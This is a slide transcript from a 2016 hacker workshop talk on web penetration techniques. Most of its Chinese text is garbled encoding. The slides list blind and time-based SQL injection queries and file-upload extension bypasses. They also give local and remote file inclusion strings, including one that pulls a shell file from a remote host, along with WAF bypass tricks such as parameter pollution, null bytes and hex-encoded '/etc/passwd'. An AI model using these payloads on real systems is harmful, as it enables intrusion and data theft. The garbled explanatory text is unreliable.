Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Web滲透技巧(下)

Avatar for Lionbug Lionbug
October 01, 2016

 Web滲透技巧(下)

The Declaration of Hacker (TDOH) WorkShop

Avatar for Lionbug

Lionbug

October 01, 2016
Tweet

More Decks by Lionbug

Other Decks in Research

Transcript

  1. SQL Injection ဳ獈֖ᗝ • WHERE id = 1 • WHERE

    id = ‘1’ • WHERE id = “1”
  2. Blind Based • SELECT * FROM news WHERE id =

    1 and 
 (SELECT length(username) FROM member
 LIMIT 1)=1 • SELECT * FROM news WHERE id = 1 and 
 (SELECT length(username) FROM member
 LIMIT 1)=2
  3. Blind Based •SELECT * FROM news WHERE id = 1

    and 
 (SELECT substr(username,1,1) FROM member
 LIMIT 1)=‘a’ •SELECT * FROM news WHERE id = 1 and 
 (SELECT substr(username,1,1) FROM member
 LIMIT 1)=‘b’
  4. Time Based • 蝚螂ࢧ䛑碻樌ڣ䥁 • sleep • IF(MID(user(),1,1) = 'r',

    SLEEP(5), 0) • Heavy • BENCHMARK(100000000, rand())
  5. PHP SQL Injection ڥአ • ଉአ螂筪獢碍 • addslashes() • mysql_escape_string()

    • mysql_real_escape_string() • magic_quotes_gpc = On • php4, php<5.2.1 磪犚㺔氂
  6. PHP SQL Injection ڥአ • 裾ଶ౼䥁 • ᩻螂10֖ز౼䥁 • adminxxxx’

    => adminxxxx\’
 => adminxxxx\ • where username = ‘adminxxxx\’
  7. 媅螂篷ဩӤ㯽.PHP • .php3 .php4 .phtml • nginx ޾ iis 蟴ᗝ梊藮

    • http://lionbug.tw/123.jpg/1.php • .htaccess
  8. Local File Inclusion • include($_GET[‘file’]); • RCE • ?file=php://input •

    ?file=expect://ls • RFI • ?file=http://lionbug.tw/shell.txt
  9. LFI + PHPINFO • php upload 秚ګ • [tmp_name] =>

    /tmp/phpGvjUMn • ?file=/tmp/phpGvjUMn • 皤螛㳫ᴻ碻樌
  10. 360

  11. ᪡螂 DNS WAF • IP • Google • DNS history

    • 虻懱丽笙 • ูێဩ • 综膐IP • DDoS
  12. Bypass WAF 蝢አ • TCP 瞥۱ • 咳᩻य़۱ • 1

    and 111…111 • ዁୵㶧捍 • य़ੜ䌃磦矦 • SeLECt 1 FroM …
  13. Bypass WAF 蝢አ • 㷢碍࿱礕 • PHP/Apache, par1=var2 • a=1&a=1

    or 1 • JSP/Tomcat, par1=var1 • ASP/IIS, par1=var1,var2 • a=1’&a=or 1—
  14. Bypass WAF 蝢አ • 承᥺粬௔ • Null Byte • a=%00’

    or ‘1 • ྋ憒蔭螈ୗ㻌ᤈ玚蟴 • /r /n • a=%0a’ or ‘1
  15. MySQL Bypass WAF • 磦矦 • CONCAT -> CONCAT_WS •

    ‘/etc/passwd' ->
 0x2f6574632f706173737764 • 1=1 -> 1>0 • 1=1 -> 1
  16. Upload Bypass WAF • ዁୵㶧捍(2) • filename=123.php • filename=‘123.php’ •

    filename=“123.jpg • 犋ݶContent-Type • application/x-www-form-urlencoded • multipart/form-data